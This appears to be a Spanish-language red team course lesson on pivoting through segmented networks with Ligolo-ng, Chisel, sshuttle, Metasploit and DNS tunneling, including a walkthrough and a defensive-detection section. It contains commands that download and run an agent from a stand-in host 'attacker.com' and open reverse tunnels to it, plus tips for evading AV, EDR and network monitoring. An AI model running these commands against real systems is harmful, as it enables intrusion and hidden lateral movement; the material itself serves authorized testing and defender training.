Pivoting: Ligolo-ng, Chisel, sshuttle y DNS tunneling en entornos segmentados
· 9 min de lectura
Aprende las herramientas modernas de pivoting: Ligolo-ng (user-mode VPN) para pivots de red completa, Chisel para TCP tunneling multiplatform, sshuttle para Linux, DNS tunneling como última instancia. Cada uno con cuándo usarlo.
En engagements enterprise con redes segmentadas (DMZ, internal zones, VLANs management), pivoting es la capacidad de usar un host comprometido como salto para alcanzar networks internas no accesibles directamente. Las herramientas clásicas (Metasploit autoroute + portfwd, SSH port forwarding) siguen funcionando pero tienen limitaciones. En 2024-2026 el estado del arte está liderado por Ligolo-ng, Chisel, y combinaciones con sshuttle, sliver pivots o DNS tunneling cuando todo lo demás falla.
Esta lección cubre las herramientas modernas de pivoting, cuándo usar cada una, patrones típicos en operations reales, y detección defensiva. Es la segunda lección del bloque red team avanzado de la Tanda 6, complementando la anterior sobre Cobalt Strike OpSec.
Operaciones de pivoting requieren autorización explícita en engagement. En red interna, incluso autorizada, cuidado con affecting shared infrastructure.
Las herramientas principales#

Ligolo-ng#
Ligolo-ng (Nicolas Chatelain) revolucionó pivoting en 2021+. Funciona como user-mode VPN: crea interface TUN en attacker machine, routing packets a través del agent corriendo en compromised host.
Ventajas:
- Sin SOCKS proxy: tool nativo (nmap, metasploit, curl) funciona sin proxychains.
- Multi-protocol: TCP, UDP, ICMP.
- Fast: performance mejor que SOCKS tunneling.
- Easy setup: binaries static, no dependencies.
Setup típico:
# En attacker machine
sudo ip tuntap add user $USER mode tun ligolo
sudo ip link set ligolo up
./proxy -selfcert
# En compromised host (agent)
./agent -connect attacker.com:443 -ignore-cert
# En proxy terminal, add route
» ifconfig
» start_tun
# Devuelve interface name, ej. ligolo
Add route en attacker:
sudo ip route add 10.0.0.0/24 dev ligolo
# Ahora nmap 10.0.0.0/24 funciona directamente
Chisel#
Chisel (Jaime Pillora) es HTTP tunnel con cliente/servidor en Go. Más clásico pero muy robusto. Casos de uso: cuando Ligolo tiene problemas, cuando quieres simple port forwarding sin TUN interface.
# Server en attacker (expuesto a Internet)
./chisel server -p 8080 --reverse
# Client en compromised host (reverse tunnel)
./chisel client attacker.com:8080 R:1080:socks
# En attacker ahora tienes SOCKS proxy local 1080
proxychains nmap 10.0.0.0/24
Soporta forward port + reverse port + SOCKS. TLS opcional. Útil cuando solo HTTP(S) sale de la red.
sshuttle#
Para Linux targets con SSH access. Transparent proxy que tunnels TCP + DNS a través de SSH sin requerir SOCKS config on tools.
sshuttle -r user@target 10.0.0.0/24
# Routing transparent, tools funcionan normally
Limitación: requires SSH + Python en target. Para targets Windows no sirve.
Metasploit autoroute + portfwd#
Classical, less potente pero integrated con framework.
# Dentro meterpreter session
run autoroute -s 10.0.0.0/24
# Port forward specific
portfwd add -l 3306 -p 3306 -r 10.0.0.100
Sliver pivots#
Sliver tiene built-in pivoting: beacons que relé para otros beacons. Útil en C2 stack.
DNS tunneling#
Last resort cuando solo DNS sale. Herramientas: dnscat2, iodine. Encoding data en DNS queries/responses. Muy lento (kbps), pero funciona cuando todo else falla.
Casos reales: environments air-gapped except DNS resolution, strict egress policies.
Choosing the right tool#

Decision guide:
- SSH disponible al target Linux + Linux attacker → sshuttle.
- Target Windows + full control egress → Ligolo-ng.
- Solo HTTP(S) egress → Chisel over HTTPS o Ligolo con custom protocol.
- Solo DNS egress → iodine / dnscat2 (slow last resort).
- Already in Metasploit session → autoroute + portfwd.
- Already in Sliver → use built-in pivot.
- Need UDP (p. ej. VoIP, DNS) → Ligolo-ng.
Multi-hop pivoting#
En redes con múltiples segmentations, pivots en cascade:
Attacker → DMZ host → Internal server → Management VLAN
(pivot 1) (pivot 2) (pivot 3)
Con Ligolo-ng: multiple agents, cada uno con subnet propia route. En proxy terminal add routes secuencialmente.
Con Chisel: servers en cascade, cada uno proxy para siguiente.
Complexity grows; usar diagrams y documentation.
Pivoting con containers / Kubernetes#
Cuando compromise es dentro de un pod:
- kubectl port-forward si service account tiene permisos.
- Chisel agent desplegado como pod additional.
- Istio/sidecar abuse en service mesh environments.
Lecciones de Kubernetes RBAC (previa) relevantes aquí.
Detección defensiva#
Red teamers deben entender qué detections existen:
Network side#
- NetFlow / IPFIX: patrones de long-lived connections desde internal host a Internet.
- DNS logs: queries anómalas, long subdomains (DNS tunneling signature).
- TLS inspection: break-and-inspect reveals tunnel content.
- Egress whitelisting: solo ciertos destinos permitidos, breaks pivoting.
- Deep packet inspection: Ligolo-ng patterns detectables si DPI examines.
Host side#
- Process creation de binaries unknown (ligolo-agent, chisel).
- Network connections from unusual processes.
- EDR tracking de network APIs.
Detection evasion#
- Blend with traffic: Chisel con custom User-Agent + HTTPS to common services.
- Fronting via CDN.
- Timing de connections (periódicas small vs always-on).
- Encryption de tunnel traffic.
Infraestructura y operations#
Setup típico para operation:
- Attacker server en cloud (AWS Lightsail, Linode, DigitalOcean) con public IP.
- Firewall local limita only necessary ports.
- TLS certs válidos (Let's Encrypt).
- Monitoring: Netdata, Prometheus para observe tunnel health.
- Fail-over: multiple servers en case uno burn.
- Clean up: remove tunnel traces at operation end.
Comparación con SSH tunneling#
SSH es tunneling legacy pero funciona:
# Local forward
ssh -L 8080:internal:80 user@pivot
# Remote forward
ssh -R 8080:localhost:22 user@attacker
# SOCKS5 dynamic
ssh -D 1080 user@pivot
proxychains nmap internal
Ventajas: SSH universal, no tool nuevo.
Desventajas: Requires SSH access, logs on target, slower, limited protocols.
Modern tools (Ligolo, Chisel) superan SSH tunneling en most operational scenarios.
Walkthrough: Ligolo-ng end-to-end#
Para fijar el patrón, un flujo típico contra red segmentada con DMZ + internal zone.
Paso 1 - setup attacker:
# Instalar Ligolo-ng
wget https://github.com/nicocha30/ligolo-ng/releases/latest/download/ligolo-ng_proxy_linux_amd64.tar.gz
tar xzf ligolo-ng_proxy_linux_amd64.tar.gz
# Crear interface TUN
sudo ip tuntap add user $USER mode tun ligolo
sudo ip link set ligolo up
# Start proxy con self-signed cert
./proxy -selfcert
Paso 2 - compromise DMZ host (via web exploit, phishing, etc.). Upload agent:
# Desde beacon en DMZ host
curl -o /tmp/agent https://attacker.com/agent
chmod +x /tmp/agent
# Connect back
/tmp/agent -connect attacker.com:11601 -ignore-cert &
Paso 3 - proxy terminal:
» session
* 1 DMZ-host-01
» ifconfig
# Shows interfaces of DMZ host
» start_tun
# Tunnel established
Paso 4 - route internal subnet:
# En attacker
sudo ip route add 10.0.0.0/24 dev ligolo
# Test
nmap -sV 10.0.0.0/24
# Scans internal zone directly
Paso 5 - double pivot si hay management VLAN detrás:
# Compromise internal server. Deploy second agent connecting to attacker.com
# Add second tunnel y second route
sudo ip route add 192.168.100.0/24 dev ligolo2
Paso 6 - cleanup:
Al terminar, kill agents, remove routes, remove TUN interface. Document all en report.
Errores comunes#
- Not testing pivot exhaustively before proceeding.
- Noisy tooling (nmap default scan a toda subnet → firewall alerts).
- Not cleaning up agents post-operation.
- Tunnel dropped silently → operation stalls sin realize.
- Forgot to firewall attacker side → random internet traffic hits tunnel.
- Timezone confusion en logs cuando multiple hops.
Preguntas frecuentes#
¿Ligolo-ng funciona en Windows target con AV?#
Agent es un single binary Go. Algunos AVs lo detectan por signature; packers o custom build reduce detection. CrowdStrike, Defender advanced lo cazan increasingly.
¿Cuántos saltos puedo tener?#
Technical no hay limit pero cada hop adds latency + failure point. Operaciones reales raramente more than 3 hops.
¿Cómo trafficar RDP a través de tunnel?#
Ligolo-ng supports TCP sin problema. SOCKS proxies like Chisel support RDP via proxychains. Latency alta puede hacer RDP unusable; VNC o browser-based tools preferidos.
¿Rate limiting o throttling?#
Tools don't throttle by default. Egress firewalls de corporate pueden. Monitor latency, adjust parallel scans accordingly.
¿Qué tool para pentests externos simples?#
Chisel reverse SOCKS es simple y confiable. Un binary, un command, done.
¿Dónde practico?#
El laboratorio red-hat de whoami-labs incluye red segmentada simulada con DMZ, internal zone, management VLAN. Practicas Ligolo setup, multi-hop chisel, sshuttle en Linux hosts, DNS tunneling como fallback.
¿Vale la pena custom pivoting tool?#
Para engagements de alto perfil donde Ligolo/Chisel son detected, sí. Go permite development rápido de custom binaries con protocols únicos. Pero mantenimiento significativo.
¿WireGuard como pivoting tool?#
WireGuard es modern VPN protocol. Setup posible pero overkill típicamente; kernel module required, más footprint que Ligolo user-mode. Para operations muy largas puede merecer la pena.
¿HTTP/2 o HTTP/3 ayudan?#
Chisel next-gen potentially pueden use HTTP/2 multiplexing for better detection evasion. Projects emergentes pero no mainstream yet.
¿Container networking affects pivoting?#
Sí. Kubernetes overlay networks, Docker bridge, service mesh todos añaden layers. Veces requires understanding del cluster's CNI para pivoting efectivo. Combinación con lección Kubernetes RBAC relevante.
¿Rate limiting detection?#
NetFlow analysis puede detect long-lived connections anómalas. Baseline normal: shorter connections. Tunnel que dure horas resalta en metrics. Mitigation: break y reconnect periodically, blend con normal HTTPS patterns.
¿OpSec vs performance trade-off?#
Siempre trade-off. Maximum OpSec = slow (periodic reconnects, encrypted everything, obfuscation). Maximum performance = fast pero detectable. Choose según engagement requirements y target defenses.
Resumen#
- Ligolo-ng: estado del arte, user-mode VPN, multi-protocol, fast.
- Chisel: HTTP tunnel robusto, perfect for HTTPS-only egress scenarios.
- sshuttle: Linux/SSH based transparent proxy.
- DNS tunneling (iodine, dnscat2): last resort, muy lento pero funciona.
- Decision tree según egress policies + protocols needed.
- Multi-hop para redes segmentadas complejas.
- Detección vía NetFlow, DNS logs, EDR process tracking.
- OpSec: TLS, fronting, timing, cleanup.
Casos reales documentados#
Algunos escenarios de pivoting típicos en engagements documentados en blogs profesionales 2024-2026:
- Financial sector: compromise de web app en DMZ → Ligolo tunnel → internal admin network → Jump server → PCI zone. Operaciones de 6 semanas con detection avoidance total.
- Healthcare: phishing a usuario en workstation → Chisel over HTTPS → segmented medical device network → PACS systems. Requires extensive OT knowledge (lección ICS).
- Government contractor: multi-hop a través de 4 network zones distintas con DNS tunneling en último hop por restrictive egress.
- Tech company: cloud-heavy architecture con workstations managed via Zero Trust gateway. Pivot via workstation beacon → gateway → internal cloud resources.
- Energy utility: convergent IT/OT network. Pivot IT → corporate historian → SCADA control network. Extremely careful para no affect operations.
Cada caso requires tailored approach, no single tool/technique universal. Tool selection, timing, OpSec dependen fundamentally del target's defenses y risk tolerance del engagement.
Rol del defender#
Para blue teams, understanding pivoting detection improves posture:
- Egress monitoring: alert on unusual long-lived connections from internal hosts.
- DNS logs: baseline normal, detect anomalies in query patterns y payload length.
- NetFlow analysis: identify beaconing patterns y data transfer anómalos.
- Segmentation audit: regular validation que firewall rules match intent.
- EDR correlation: process behavior + network connections together más powerful que separately.
- Deception: honeypots y canary resources detect pivoting attempts.
El objetivo defensive no es prevent pivoting imposible, sino detect quickly y limit blast radius via segmentation efectiva.
La próxima lección entra en serverless pentesting, donde las nociones tradicionales de servidor y pivoting cambian dramáticamente porque simplemente no hay servidor permanente que comprometer en el sentido clásico, y las técnicas de attack y defense se adaptan a un paradigma donde la infraestructura es ephemeral, event-driven y compartida en multi-tenant con isolation a nivel plataforma, un entorno fundamentalmente distinto al que los red teamers tradicionales están acostumbrados a operar.